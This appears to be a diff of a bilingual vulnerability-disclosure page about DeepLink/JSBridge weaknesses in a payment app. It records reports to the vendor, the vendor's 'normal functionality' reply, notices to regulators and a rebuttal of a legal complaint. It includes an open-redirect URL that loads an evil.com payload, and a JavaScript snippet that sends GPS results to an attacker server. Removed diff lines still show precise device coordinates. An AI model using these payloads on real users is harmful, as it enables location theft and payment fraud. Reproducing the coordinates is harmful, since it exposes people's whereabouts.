- 第一次报告 — TLS/SSL 安全分析报告发送至 bin.z@antgroup.com, lingyan.wanglingya@antgroup.com, antsrc@service.alipay.com
- First Report — TLS/SSL security analysis sent to bin.z@antgroup.com, lingyan.wanglingya@antgroup.com, antsrc@service.alipay.com
+ 第一次报告 — TLS/SSL 中间人攻击 + 设备指纹问题，通过厂商安全应急响应中心(SRC)提交
注：此次报告的是 TLS/SSL 相关问题，DeepLink/JSBridge 攻击链尚未发现
+ First Report — TLS/SSL MITM + device fingerprinting issues submitted via vendor's Security Response Center (SRC)
Note: This report covered TLS/SSL issues only; the DeepLink/JSBridge attack chain had not yet been discovered
- 综合安全分析完成，包含 SecurityGuard、BabaSSL、DexAOP 等模块的深度分析 - Comprehensive analysis completed covering SecurityGuard, BabaSSL, DexAOP and more + AntSRC 回复："经过我们安全工程师审核，无法被实际利用" + AntSRC Reply: "After review by our security engineers, [the issues] cannot be practically exploited"
- 第二次报告 — DeepLink + JSBridge 8个漏洞的完整攻击链报告发送至蚂蚁集团联系人 - Second Report — Full DeepLink + JSBridge attack chain report (8 issues) sent to Ant Group contact + 第二次报告 — 发现 DeepLink+JSBridge 攻击链，提交 8 个漏洞（2 CRITICAL + 4 HIGH），发送至厂商安全团队对接人 + Second Report — DeepLink+JSBridge attack chain discovered, 8 issues (2 CRITICAL + 4 HIGH) sent to vendor security contact
- 第三次报告 — V3增强版，17个漏洞 + 308条服务器日志 + 42张截图 - Third Report — V3 enhanced, 17 issues + 308 server logs + 42 screenshots + 第三次报告（V3） — 扩展至 17 个漏洞，含资金操作风险 + 308 条服务器日志 + 42 张截图 + Third Report (V3) — Expanded to 17 issues including financial operation risks + 308 server logs + 42 screenshots
- 第四次报告 — 端到端外部攻击报告，含Samsung S25 Ultra + iPhone 16 Pro跨平台验证 - Fourth Report — E2E external attack report with cross-platform Samsung S25 Ultra + iPhone 16 Pro verification + 第四次报告 — 端到端外部攻击完整演示，3 台设备跨国验证（新西兰/马来西亚/中国），含在线复现链接 + Fourth Report — Full E2E external attack demo, 3 devices cross-country verification (NZ/MY/CN), with live reproduction URL +
++ 厂商回复："漏洞报告邮件已收到，我们会安排人尽快分析，完了给你回复" + Vendor Reply: "Vulnerability report emails received, we will arrange someone to analyze ASAP and reply" +
++ 微信语音通话（15分46秒） — 厂商安全业务负责人在通话中辩称"局域网内本来就对这些功能开放"，试图将攻击面限定为局域网场景。并暗示："如果能绕过我们的白名单限制，那就严重了"。此前所有测试确实在局域网环境下（研究员本机与测试手机 Xiaomi Redmi 12 在同一 WiFi 网络），PoC 页面部署在 192.168.80.12:8888 + WeChat Voice Call (15m 46s) — Vendor security lead argued that "these features are designed to be open within LAN" and attempted to frame the attack surface as LAN-only. The lead implied: "If you can bypass our whitelist, that would be serious." All prior testing had indeed been on a local network (researcher's machine and Xiaomi Redmi 12 test phone on the same WiFi), with PoC pages hosted at 192.168.80.12:8888 +
+
+ 白名单绕过 — 2 分钟内完成 — 通话结束后不到 2 分钟，我们即绕过了厂商自以为安全的白名单机制。绕过方法：利用 ds.alipay.com/?scheme= 开放重定向参数。该域名 (ds.alipay.com) 本身在 Alipay WebView 的白名单中，其 ?scheme= 参数接受任意 URL 跳转，攻击者可构造 https://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067&url=https://evil.com/payload.html，URL 的 host 为白名单域名，但实际加载攻击者页面。这彻底否定了"局域网限定"的辩解——任何互联网上的页面都可以通过白名单域名跳转进入 Alipay WebView 并调用 JSBridge API
+ Whitelist Bypass — Completed in Under 2 Minutes — Less than 2 minutes after the call ended, we bypassed the vendor's whitelist mechanism they believed was secure. Method: exploiting the ds.alipay.com/?scheme= open redirect parameter. The domain ds.alipay.com is itself whitelisted in Alipay's WebView, and its ?scheme= parameter accepts arbitrary URL redirects. An attacker can craft https://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067&url=https://evil.com/payload.html — the URL host is a whitelisted domain, but it actually loads the attacker's page. This completely invalidated the "LAN-only" defense — any page on the internet can use the whitelisted domain redirect to enter Alipay's WebView and invoke JSBridge APIs
+
+ 公网 PoC 部署 + 第二次语音通话（7分07秒） — 将 PoC 部署至公网 https://innora.ai/sec/trigger.html（触发页）和 https://innora.ai/sec/verify.html（载荷页），发送给厂商安全人员验证。证明攻击在互联网环境下完全可行，不限于局域网
+ Public PoC Deployment + Second Voice Call (7m 07s) — Deployed PoC to public internet at https://innora.ai/sec/trigger.html (trigger page) and https://innora.ai/sec/verify.html (payload page), sent to vendor security lead for verification. Proved the attack is fully viable over the internet, not limited to LAN
+
+ 厂商安全人员亲测 — iPhone 从杭州连接 — 服务器日志显示来自杭州（支付宝总部所在地）的 iPhone 17 Pro Max 连接，GPS 定位 (30.3xxx, 120.1xxx) 精度 9.99m。设备有 2xxGB 存储、80% 电量。关键发现：iOS 上有 18 个 JSBridge API 可用，比 Android (13 个) 多出 5 个高危 API：tradePay、share、getLocation、scan、chooseImage。iOS 版 tradePay（支付）和 getLocation（定位）均可从外部页面直接调用，而 Android 上这些 API 被拦截。这意味着 iOS 攻击面显著大于 Android，且 share API 可实现蠕虫式传播 + Vendor Security Lead Tests — iPhone Connects from Hangzhou — Server logs show iPhone 17 Pro Max connecting from Hangzhou (Alipay HQ city), GPS (30.3xxx, 120.1xxx) accuracy 9.99m. Device: 2xxGB storage, 80% battery. Critical discovery: 18 JSBridge APIs available on iOS vs 13 on Android — 5 additional high-risk APIs: tradePay, share, getLocation, scan, chooseImage. iOS tradePay (payment) and getLocation (GPS) can be invoked from external pages, while Android blocks them. This means iOS attack surface is significantly larger than Android, and the share API enables worm-like propagation +
++ V6 PoC + 多设备验证 — 创建针对高影响力漏洞的 V6 版 PoC：(1) 静默 GPS+设备指纹窃取 (2) 支付引导攻击 (3) UI 钓鱼 (4) 敏感页面跳转链 (5) share API 蠕虫传播（iOS）。测试账户因频繁触发风控被封锁，委托新西兰朋友测试——正常触发。随后用妻子的 iPhone 验证——同样成功。厂商回复"OK，我们分析下" + V6 PoC + Multi-device Verification — Created V6 PoC targeting high-impact vulns: (1) silent GPS+device fingerprint theft (2) payment redirection attack (3) phishing UI (4) sensitive page redirect chains (5) share API worm propagation (iOS). Test account banned due to risk control triggers; delegated to friend in New Zealand — triggered successfully. Then verified with spouse's iPhone — also successful. Vendor replied "OK, let us analyze" +
+
+ 厂商第二轮验证 — 安全业务负责人在杭州使用 iPhone 16 Pro 进行更深入测试。全程无任何 GPS 授权声明/弹窗，页面加载到 GPS 数据回传仅约 7 秒。3 轮测试精度从 17.4m 递进至 9.99m 再到 8.81m，locationReducedAccuracy: 0（精确定位模式）。此轮测试进一步确认了前日发现的 iOS 攻击面问题，且证实 GPS 外泄在用户完全无感知的情况下发生
+ Vendor Second-round Verification — Security business lead conducted deeper testing in Hangzhou with iPhone 16 Pro. Zero GPS authorization dialogs appeared throughout; GPS data transmitted within ~7 seconds of page load. 3-round accuracy improved from 17.4m to 9.99m to 8.81m, with locationReducedAccuracy: 0 (precise mode). This round further confirmed the iOS attack surface discovered the previous day, and verified GPS exfiltration occurs with zero user awareness
- 厂商回应："正常功能" — 不认为是漏洞 - Vendor Response: "Normal functionality" — not considered a vulnerability + 厂商最终回复："根据我们的评估，这些属于正常功能" + Vendor Final Response: "Based on our assessment, these are normal functionality"
- 公开发布 — 既然厂商确认这些都是"正常功能"，那公开讨论"正常功能"的安全影响没有任何问题 - Public Disclosure — Since the vendor confirmed these are "normal features," discussing the security implications of "normal features" publicly is entirely appropriate + 微信对话（截图泰国时间17:03，+1h=北京时间）— 厂商对接人确认"正常功能"定性（回复"嗯"），我方告知将公开讨论。对接人在对话中使用了"洞"一词，说明内部对发现的安全属性并非毫无认知 + WeChat Conversation (screenshot in Thai timezone 17:03, +1h = Beijing time) — Vendor contact confirmed "normal functionality" classification. We notified intent to publish. The contact used the colloquial term "洞" (vulnerability) in conversation, suggesting internal awareness of the security nature of these findings +
++ 公开发布 — 厂商明确拒绝修复后，公开研究成果 + Public Disclosure — After vendor explicitly refused to fix, research published +
++ 法律投诉 — 文章发布仅4小时后，北京格韵律师事务所（代理厂商）向微信公众平台投诉我们的文章"内容侵犯名誉/商誉/隐私/肖像"。讽刺的是：我们的文章从头到尾未出现"支付宝""Alipay""蚂蚁集团"中的任何一个词。投诉方通过发起投诉，反而自行确认了文章描述的行为与其所代理的企业相关。我们已提交申诉。 + Legal Complaint — Just 4 hours after publication, Beijing Geyun Law Firm (representing the vendor) filed a "content infringing reputation/goodwill/privacy/likeness" complaint against our WeChat article. The irony: our article never once mentions "Alipay," "支付宝," or "Ant Group" anywhere in the entire text. By filing this complaint, the complainant effectively self-identified their client as the subject of the article. We have filed an appeal. +
+
+ CVE 提交（6个漏洞，等待确认中） — 鉴于厂商（阿里巴巴作为注册CNA，编号CNA-2017-0006）拒绝承认漏洞并拒绝分配CVE编号，我们通过 MITRE CNA of Last Resort (CNA-LR) 路径分两批提交了6个独立CVE申请：
+ 第一批（5个）：
+ ① DeepLink URL Scheme 访问控制绕过 (CWE-939, CVSS 9.1)
+ ② iOS GPS 静默外泄 — 无授权弹窗 (CWE-359, CVSS 7.4)
+ ③ iOS tradePay 未授权支付流程调用 (CWE-940, CVSS 8.6)
+ ④ UI 欺骗 — showToast/setTitle 伪造支付宝界面 (CWE-451, CVSS 8.1)
+ ⑤ 端到端敏感数据外泄 — 设备指纹+权限状态 (CWE-200, CVSS 8.6)
+ 第二批（1个）：
+ ⑥ ds.alipay.com 开放重定向绕过白名单机制 (CWE-601+CWE-939, CVSS 9.3) — 利用白名单域名 ds.alipay.com 的 ?scheme= 参数实现开放重定向，彻底绕过厂商域名白名单防护，使任何互联网页面均可通过白名单域名跳转链进入 WebView 调用全部 JSBridge API。此绕过在与厂商安全团队通话期间 2 分钟内完成
+ Credit: Jiqiang Feng (Innora AI Security Research)。等待 MITRE 回复确认中。
+ CVE Submission (6 Vulnerabilities, Awaiting Confirmation) — Since the vendor (Alibaba, a registered CNA: CNA-2017-0006) refused to acknowledge the vulnerabilities and declined to assign CVE IDs, we submitted 6 independent CVE requests in two batches through MITRE's CNA of Last Resort (CNA-LR) pathway:
+ Batch 1 (5 CVEs):
+ ① DeepLink URL Scheme Access Control Bypass (CWE-939, CVSS 9.1)
+ ② iOS Silent GPS Exfiltration — No Authorization Prompt (CWE-359, CVSS 7.4)
+ ③ iOS tradePay Unauthorized Payment Flow Invocation (CWE-940, CVSS 8.6)
+ ④ UI Spoofing — showToast/setTitle Fake Alipay Interface (CWE-451, CVSS 8.1)
+ ⑤ End-to-End Sensitive Data Exfiltration — Device Fingerprint + Permission States (CWE-200, CVSS 8.6)
+ Batch 2 (1 CVE):
+ ⑥ ds.alipay.com Open Redirect Whitelist Bypass (CWE-601+CWE-939, CVSS 9.3) — Exploits the ?scheme= parameter on whitelisted domain ds.alipay.com to perform an open redirect, completely bypassing the vendor's domain whitelist protection. Any internet-hosted page can chain through the whitelisted domain to enter WebView and invoke all JSBridge APIs. This bypass was achieved in under 2 minutes during a live call with the vendor security team
+ Credit: Jiqiang Feng (Innora AI Security Research). Awaiting MITRE confirmation.
+
+ 全球通知 — 向 23 个金融监管机构、13 个国家 CERT、14 家竞争对手安全团队、50+ 家国际媒体发送漏洞披露通知 + Global Notification — Vulnerability disclosure sent to 23 financial regulators, 13 national CERTs, 14 competitor security teams, and 50+ international media outlets +
++ 新加坡 PDPC 正式立案调查 — 新加坡个人数据保护委员会 (PDPC) 回复确认已开启正式调查 + Singapore PDPC Formal Investigation — Singapore's Personal Data Protection Commission confirmed opening a formal investigation +
++ Google Play 启动调查 — 向 Google Play 提交正式政策违规举报（违反用户数据政策、权限政策、欺骗行为政策），Google 确认收到并回复："We will investigate and take appropriate action" + Google Play Investigation — Formal policy violation report submitted to Google Play (User Data, Permissions, Deceptive Behavior policies). Google confirmed: "We will investigate and take appropriate action" +
++ Apple Product Security 启动调查 — Apple 产品安全团队人工回复（Brent），确认已将报告转发给相关调查团队。Apple 正在调查 Alipay iOS 端 JSBridge 暴露的 tradePay（支付）、scan（扫码）、chooseImage（相机）等高危 API + Apple Product Security Investigation — Apple Product Security responded (Brent): "Your report was forwarded along to the appropriate team for investigation." Apple is investigating Alipay iOS JSBridge exposure of tradePay, scan, chooseImage APIs +
+
+ Packet Storm Security 公开收录 — 漏洞通告被 Packet Storm Security（全球知名漏洞数据库）正式收录并发布：
https://packetstorm.news/files/id/217089
标题："Alipay Open Redirect / API Attacker Payload Insertion"
+ Packet Storm Security Publication — Advisory officially published on Packet Storm Security (major global vulnerability database):
https://packetstorm.news/files/id/217089
Title: "Alipay Open Redirect / API Attacker Payload Insertion"
+
+ HKCERT → CNCERT — 香港计算机应急协调中心 (HKCERT) 确认已将报告转交中国国家网络安全应急响应中心 (CNCERT) + HKCERT → CNCERT — Hong Kong CERT confirmed forwarding the report to China National CERT (CNCERT) +
++ 荷兰央行 (DNB) 正式回复 — 指出 CSSF 卢森堡为 Alipay 欧洲的主要监管机构，提供 GDPR 第32条（处理安全性）违规执法路径。CERT-Luxembourg (CIRCL) 事件处理分析师 Michael Hamm 确认将寻找 Alipay 欧洲实体联系人转发报告 + DNB Netherlands Formal Response — Identified CSSF Luxembourg as Alipay Europe's Primary Supervisory Authority, provided GDPR Article 32 enforcement pathway. CERT-Luxembourg (CIRCL) incident handler Michael Hamm confirmed locating appropriate Alipay European entity contact to forward the report
// GPS 定位窃取
AlipayJSBridge.call("getLocation", {}, function(result) {
- // result = {lat: 5.460012, lng: 100.314139, city: "槟城"}
+ // result = {lat: "[脱敏]", lng: "[脱敏]", city: "槟城"}
exfiltrate("GPS", result); // POST to attacker server
});
@@ -1039,13 +1305,14 @@ startActivity(i);
三台设备 GPS 数据GPS Data from 3 Devices
// Samsung S25 Ultra — Auckland, New Zealand
-{"lat": -36.707669, "lng": 174.719378, "city": "奥克兰", "country": "新西兰", "accuracy": 25}
+{"lat": "[脱敏]", "lng": "[脱敏]", "city": "奥克兰", "country": "新西兰", "accuracy": 25}
// Redmi 23129RN51X — Penang, Malaysia
-{"lat": 5.460012, "lng": 100.314139, "city": "槟城", "country": "马来西亚", "accuracy": 35}
+{"lat": "[脱敏]", "lng": "[脱敏]", "city": "槟城", "country": "马来西亚", "accuracy": 35}
-// iPhone 16 Pro — Hangzhou, China
-{"lat": 30.306882, "lng": 120.121303, "city": "杭州市"}我们充分尊重厂商的判断。但以下事实不会因为判定结论而改变：
startApp 返回 success: true，转账页面确实打开了，攻击者的账号确实被预填了。这个事实不受"是否是漏洞"的判定影响。clipboard 和 getUserInfo 被正确拦截了，那 getLocation 和 startApp 为什么不需要同样的保护？同一个安全框架对不同API的处理方式不一致，这至少说明有改进空间。We fully respect the vendor's judgment. However, the following facts do not change based on the classification decision:
startApp returned success: true, the transfer page opened, and the attacker's account was pre-filled. This fact is independent of the classification.clipboard and getUserInfo are correctly blocked, why don't getLocation and startApp receive the same protection? The inconsistent treatment of different APIs within the same security framework at minimum indicates room for improvement.+ 截至 2026-03-14：我们向全球 22 个国家/地区的约 160 个监管机构、CERT、隐私保护组织和安全社区发送了约 189 封安全通报邮件。以下是已收到明确受理结果的机构汇总。 + As of 2026-03-14: We sent approximately 189 security notification emails to ~160 regulatory bodies, CERTs, privacy authorities, and security communities across 22 countries/regions. Below is a summary of organizations that have provided definitive responses. +
+| # | +机构 | +国家 | +状态 | +关键信息 | +
|---|---|---|---|---|
| 1 | +HKMA 香港金融管理局 | +🇭🇰 香港 | +正式投诉立案 | +零售支付监管处高级主任受理，SVF（储值支付工具）牌照持有人正式投诉表格已提交，7日确认窗口 | +
| 2 | +PDPC 新加坡个人数据保护委员会 | +🇸🇬 新加坡 | +正在调查 | +隐私保护委员会正式立案调查 | +
| 3 | +Apple Product Security | +🇺🇸 美国 | +转交调查团队 | +Apple 产品安全团队人工回复确认，已将报告转发给专门调查团队，正在调查 Alipay iOS 端 JSBridge 暴露的高危 API | +
| 4 | +Google Play | +🇺🇸 美国 | +政策违规调查 | +"We will investigate and take appropriate action" | +
| 5 | +MITRE CVE | +🇺🇸 美国 | +6个CVE待分配 | +通过 CNA-LR 路径提交6个CVE请求（CVSS 7.4–9.3），已确认收到 | +
| 6 | +CSSF 卢森堡金融监管委员会 | +🇱🇺 卢森堡 | +Whistleblowing立案 + ICT Risk确认 | +4个部门/通道确认收到（Whistleblowing团队立案 + ICT Risk Supervision 人工确认×2 + Reclamation确认），ICT风险监管部门明确表示"已知悉报告内容"，已提交补充证据（联动 2025 年反洗钱处罚记录） | +
| 7 | +Packet Storm Security | +🇺🇸 美国 | +已公开发布 | +Advisory #217089 — "Alipay Open Redirect / API Attacker Payload Insertion" | +
| # | +机构 | +国家 | +回复内容 | +
|---|---|---|---|
| 1 | CIRCL 卢森堡CERT | 🇱🇺 卢森堡 | 事件处理分析师人工回复，已代我们联系 Alibaba Security Response Center |
| 2 | ANSSI / CERT-FR 法国 | 🇫🇷 法国 | "已转交相关部门处理，将尽快回复" |
| 3 | HKCERT 香港 | 🇭🇰 香港 | 已正式转交CNCERT（中国国家互联网应急中心） |
| 4 | FMA 新西兰金融管理局 | 🇳🇿 新西兰 | "信息已记录，正在考虑是否对 Alipay 采取进一步行动" |
| 5 | FCA 英国金融行为监管局 | 🇬🇧 英国 | Whistleblowing 团队确认收到，正在审查（涉及 AIUK Services Limited, 原 Alipay UK Ltd） |
| 6 | DNB 荷兰央行 | 🇳🇱 荷兰 | Cyber Defense Center 确认收到，引导至监管通道处理 |
| 7 | OJK 印尼金融监管局 | 🇮🇩 印尼 | 要求补充详细说明，已回复完整技术报告 |
| 8 | OAIC 澳大利亚信息专员 | 🇦🇺 澳大利亚 | Intake 团队确认收到投诉 |
| 9 | EDPB 欧盟数据保护委员会 | 🇪🇺 欧盟 | 确认收到跨境数据保护投诉 |
| 10 | ThaiCERT 泰国 | 🇹🇭 泰国 | "已转交负责人" |
| 11 | BNM 马来西亚央行 | 🇲🇾 马来西亚 | 工单确认收到 |
BSP 菲律宾央行、OSFI 加拿大金融监管、Privacy International、ProPublica、CNA/Mediacorp 新加坡、Datatilsynet 丹麦数据保护、DSB 奥地利数据保护、IMY 瑞典数据保护。
+ +注：为保护正在进行中的调查程序，部分案件编号和联系人邮箱已脱敏。本表将随调查进展持续更新。
+| # | +Organization | +Country | +Status | +Key Information | +
|---|---|---|---|---|
| 1 | +HKMA (Hong Kong Monetary Authority) | +🇭🇰 Hong Kong | +Formal Complaint Filed | +Assigned to Senior Officer at Retail Payment Oversight Division. SVF licensee complaint form submitted. | +
| 2 | +PDPC (Personal Data Protection Commission) | +🇸🇬 Singapore | +Under Investigation | +Formal investigation case opened. | +
| 3 | +Apple Product Security | +🇺🇸 USA | +Forwarded to Investigation Team | +Human response from Product Security confirming report forwarded to investigation team. Investigating high-risk JSBridge APIs exposed on Alipay iOS. | +
| 4 | +Google Play | +🇺🇸 USA | +Policy Violation Investigation | +"We will investigate and take appropriate action." | +
| 5 | +MITRE CVE | +🇺🇸 USA | +6 CVEs Pending Assignment | +6 CVE requests submitted via CNA-LR pathway (CVSS 7.4–9.3). Receipt confirmed. | +
| 6 | +CSSF (Luxembourg Financial Regulator) | +🇱🇺 Luxembourg | +Whistleblowing Case + ICT Risk Confirmed | +4 departments/channels acknowledged (Whistleblowing case filed + ICT Risk Supervision confirmed ×2 + Reclamation confirmed). ICT Risk Supervision explicitly stated they "take note of the contents." Supplementary evidence submitted linking to 2025 AML penalty. | +
| 7 | +Packet Storm Security | +🇺🇸 USA | +Published | +Advisory #217089 | +
| # | +Organization | +Country | +Response | +
|---|---|---|---|
| 1 | CIRCL (National CERT Luxembourg) | 🇱🇺 | Incident handler responded personally. Contacted Alibaba SRC on our behalf. |
| 2 | ANSSI / CERT-FR | 🇫🇷 | "Forwarded to the appropriate department." |
| 3 | HKCERT | 🇭🇰 | Forwarded to CNCERT (China's National CERT). |
| 4 | FMA | 🇳🇿 | "Considering whether to take further action." |
| 5 | FCA | 🇬🇧 | Whistleblowing team reviewing (AIUK Services Ltd, formerly Alipay UK Ltd). |
| 6 | DNB | 🇳🇱 | Cyber Defense Center acknowledged, routed to supervisory channel. |
| 7 | OJK | 🇮🇩 | Requested details. Full technical report provided. |
| 8 | OAIC | 🇦🇺 | Intake team confirmed receipt. |
| 9 | EDPB | 🇪🇺 | Acknowledged cross-border data protection complaint. |
| 10 | ThaiCERT | 🇹🇭 | "Forwarded to the responsible person." |
| 11 | BNM | 🇲🇾 | Ticket acknowledged. |
BSP (Philippines), OSFI (Canada), Privacy International, ProPublica (USA), CNA/Mediacorp (Singapore), Datatilsynet (Denmark), DSB (Austria), IMY (Sweden).
+ +Note: To protect ongoing investigations, certain case reference numbers and contact emails have been redacted. This table will be updated as investigations progress.
+投诉单号：[已隐藏]
+投诉时间：2026-03-11 22:45:59（文章发布仅4小时29分钟后）
+投诉方：北京格韵律师事务所（证件号 31110000MD0196493T）
+投诉分类：内容侵犯名誉/商誉/隐私/肖像
+投诉平台：微信公众平台
+1. 文章未指名任何企业 — 我们在微信公众号发布的文章全文零次出现"支付宝""Alipay""蚂蚁集团"或任何可识别特定企业的名称。根据《民法典》第1024条，名誉权/商誉侵权需满足"针对特定主体"的构成要件。投诉方通过主动投诉，反而自行确认了文章内容与其委托人的关联性。
+ +2. 内容属实且有完整证据链 — 根据《民法典》第1025条，行为人为公共利益实施舆论监督，影响他人名誉的，不承担民事责任，前提是内容属实且未超出合理限度。我们的文章基于308条服务器日志、3台真实设备测试、42张截图。所有结论均可独立复现验证。
+ +3. 厂商安全团队亲自验证了漏洞 — 在私下报告阶段，厂商安全团队指派业务负责人与我们协同验证。该人员使用自有 iPhone 16 Pro 在杭州测试时，GPS 坐标被直接回传至我们的服务器，全程无任何 GPS 授权弹窗。这直接推翻了投诉方"调用位置权限均以弹窗告知用户"的主张。此次验证还发现 iOS 版本攻击面显著大于 Android——额外暴露 tradePay（支付SDK）、share（蠕虫传播）等 5 个敏感 API。
+ +4. 厂商自身定性消除侵权基础 — 厂商安全团队在亲自验证上述事实后，仍于2026年3月10日回复"这些属于正常功能"。讨论一款应用的"正常功能"从逻辑上不可能构成"商誉侵权"。当企业明知风险存在而选择不修复，再通过法律手段阻止公众知情——这不是维权，这是掩盖。
+ +5. 消费者知情权 — 《消费者权益保护法》第八条规定：消费者享有知悉其购买、使用的商品或者接受的服务的真实情况的权利。当10亿+用户的支付工具存在可被外部链接利用的功能设计时，安全研究和公众讨论属于正当行使公共监督权。
+ +6. 负责任披露程序完整合规 — 我们在公开前进行了4轮私下报告（2026-02-25至2026-03-07），等待厂商回应至明确答复"正常功能"。参照 ISO/IEC 29147:2018 和 Google Project Zero 90天标准，我们的程序完全合规。
+ +我们已向微信公众平台提交完整申诉材料。如投诉方对技术事实有异议，欢迎通过第三方技术鉴定机构验证。
+ + +Complaint #: [redacted]
+Filed: 2026-03-11 22:45:59 (only 4 hours 29 minutes after article publication)
+Complainant: Beijing Geyun Law Firm (License: 31110000MD0196493T)
+Category: Content infringing reputation/goodwill/privacy/likeness
+Platform: WeChat Official Account Platform
+1. The article names no company — Our WeChat article contains zero mentions of "Alipay," "支付宝," "Ant Group," or any identifiable corporate name. Under PRC Civil Code Article 1024, reputation infringement requires targeting a "specific subject." By filing this complaint, the complainant effectively self-identified their client as the article's subject.
+ +2. All content is factual and evidence-backed — Under PRC Civil Code Article 1025, one shall not bear civil liability for supervising public interest when the content is truthful and does not exceed reasonable limits. Our article is based on 308 server logs, testing across 3 real devices, and 42 screenshots. All findings are independently reproducible.
+ +3. The vendor's own security team verified the vulnerability — During the private reporting phase, the vendor assigned a security business lead to coordinate and verify our findings. When this person tested on their own iPhone 16 Pro in Hangzhou, GPS coordinates were transmitted directly to our server with no authorization prompt whatsoever. This directly contradicts the complainant's claim that "location access always prompts the user." This verification also revealed that the iOS attack surface is significantly larger than Android — exposing 5 additional sensitive APIs including tradePay (payment SDK) and share (worm propagation vector).
+ +4. The vendor's own classification eliminates infringement — After personally verifying all the above facts, the vendor's security team still responded on 2026-03-10: "These are normal features." Discussing an app's "normal features" cannot logically constitute "reputation infringement." When a company knowingly ignores verified risks and then uses legal means to suppress public awareness — that is not rights protection, it is concealment.
+ +5. Consumer right to know — PRC Consumer Rights Protection Law Article 8 guarantees consumers the right to know the true conditions of products and services they use. When a payment tool used by 1B+ users has features exploitable via external links, security research and public discussion serve the legitimate public interest.
+ +6. Responsible disclosure fully compliant — We submitted 4 rounds of private reports (2026-02-25 to 2026-03-07) before public disclosure. We waited for the vendor's explicit response ("normal features"). Per ISO/IEC 29147:2018 and Google Project Zero's 90-day standard, our process is fully compliant.
+ +We have submitted complete appeal materials to the WeChat platform. If the complainant disputes the technical facts, we welcome verification through an independent third-party technical assessment.
+ +Full rebuttal article: How Can an Article That Never Mentions "Alipay" Constitute "Reputation Infringement"?
+2026年3月11日 18:16，我们在微信公众号发布了一篇移动支付应用的 DeepLink 攻击面技术分析文章。
+同日 22:45 —— 发布仅 4小时29分钟 后 —— 北京格韵律师事务所代理提交了侵权投诉。
+ +投诉单号：428526665
+投诉时间：2026-03-11 22:45:59
+投诉方：北京格韵律师事务所（31110000MD0196493T）
+投诉分类：内容侵犯名誉/商誉/隐私/肖像
+投诉依据：《微信公众平台运营规范》4.1.2条
+我们认为该投诉不成立。以下是基于事实和法律的完整回应。
+我们对被投诉文章进行了全文关键词检索：
+ +全文使用"国民支付应用""某头部支付平台""支付App"等通用表述。
+ +根据《民法典》第 1024 条，名誉权侵权需满足"针对特定主体"的构成要件。一篇未指名任何企业的技术分析文章，从逻辑起点上就不具备商誉侵权的构成基础。
+ +值得注意的是：投诉方通过主动提起投诉，反而自行确认了文章内容与其委托人的关联性。
+根据《民法典》第 1025 条，行为人为公共利益实施舆论监督，影响他人名誉的，不承担民事责任——前提是内容属实且未超出合理限度。
+ +测试设备：Samsung S25 Ultra（新西兰）、Redmi 12（马来西亚）、iPhone 16 Pro（中国杭州）
+数据日志：308 条完整服务器回传记录，含 GPS 坐标、设备信息、时间戳
+可视证据：42 张真机截图，完整记录每一步操作
+独立验证：在线 PoC 页面（只读、不收集数据），任何安全研究人员可复现
+根据国际通用漏洞评分体系 CVSS 3.1，User Interaction: Required 是一项标准评分指标——需要用户交互的安全问题（如 XSS、CSRF、Clickjacking）在全球范围内均被认定为有效安全发现。我们的研究发现符合 CWE-939（Improper Authorization in Handler for Custom URL Scheme）和 CWE-749（Exposed Dangerous Method or Function）等国际分类标准。
如果投诉方认为数据不实，我们欢迎通过第三方技术鉴定机构进行验证。
+投诉方称应用具备 URL 风险检测机制，跳转第三方页面必须经过安全检测。
+事实：我们描述的是 JSBridge API 调用环节——当外部网页已在 App 内置 WebView 中加载后，调用 getLocation、startApp 等敏感 API 时不会弹出任何二次确认对话框。初始跳转时确实存在一个"继续访问"提示，但该提示未告知用户外部页面将获得调用内部 API 的能力。这是两个不同层面的问题。
+投诉方称摄像头权限需要用户授权同意。
+事实：我们的原文第④条描述的是通过 getSystemInfo API 读取"摄像头/麦克风授权状态"——即 cameraAuthorized: true/false 这一布尔值。获取的是"用户是否已授权摄像头"的状态信息，不是获取摄像头权限本身，更不是控制摄像头。投诉方将"读取权限状态"偷换为"获取摄像头权限"，属于对原文的歪曲。
投诉方称调用位置权限均以弹窗形式告知用户并获得授权同意。
+事实：我们的原文明确标注了前提条件——"用户曾给 App 授过定位权限就会中招"。文章末尾"重要澄清"部分再次强调："位置获取依赖用户此前已授予 App 的定位权限"。我们的实测证明：在上述前提条件下，外部页面调用 getLocation 时不会弹出任何二次确认弹窗。GPS 坐标被直接返回并可通过 XHR 发送至外部服务器。这有 3 台设备的测试记录和 308 条服务器日志为证。
+三项主张均建立在对原文的断章取义之上。投诉方选择性忽略了文章中的限定条件、技术上下文和免责声明。
+在私下报告阶段，厂商安全团队指派了一位安全业务负责人与我们对接，协同验证漏洞的真实性。
+ +该安全业务负责人使用自有 iPhone 16 Pro（iOS 26.3.1）在中国杭州进行测试。测试过程中：
+1. 点击测试链接后，页面加载到 GPS 数据回传仅历时约 7 秒
+2. 全程未弹出任何 GPS 授权声明或提示（iPhone 未出现任何系统级或应用级弹窗）
+3. 共进行 3 轮测试，GPS 精度逐轮提升：17.4m → 8.8m，均返回 locationReducedAccuracy: 0（精确定位模式）
4. 我们的服务器日志完整记录了此次数据回传，坐标指向杭州市区
+5. 这次验证首次揭示了 iOS 攻击面显著大于 Android 这一此前未知的事实
+这意味着：投诉方声称的"调用位置权限均以弹窗形式告知用户"，被厂商自己的安全团队验证人员的实测所推翻。
+ +更重要的是，这次协同验证还揭示了一个此前未知的事实：iOS 版本的攻击面显著大于 Android 版本。
+ +| API | Android | iOS | 风险 |
|---|---|---|---|
tradePay | 已拦截 | 可用 | 触发支付 SDK，弹出收银台 |
share | 已拦截 | 可用 | 蠕虫传播 — 分享至微信/QQ/钉钉 |
getLocation | 需 checkJSAPI | 直接返回 | 无二次确认获取 GPS |
scan | 已拦截 | 可用 | 调用摄像头扫码 |
chooseImage | 已拦截 | 可用 | 访问用户相册 |
厂商安全团队在知悉上述全部事实后，仍然给出了"正常功能"的定性。当企业明知风险存在而选择不修复，再通过法律手段阻止公众知情——这一系列行为的逻辑值得公众审视。
+从"正常功能"到"商誉侵权"，间隔不到 48 小时。这两个立场在逻辑上互斥：
+ +若确为正常功能 — 讨论一款应用的公开功能属于正当技术交流，正如讨论汽车的制动系统设计不构成对车企的商誉侵权。
+ +若并非正常功能 — 那么厂商的"正常功能"回复本身就构成对问题的回避。而研究者在合理等待期后公开讨论未修复的安全隐患，属于行使公众知情权。
+ +若讨论这些功能会损害商誉 — 恰恰说明厂商自身也认识到这些功能设计存在不足。真正影响商誉的不是安全研究文章，而是问题本身。
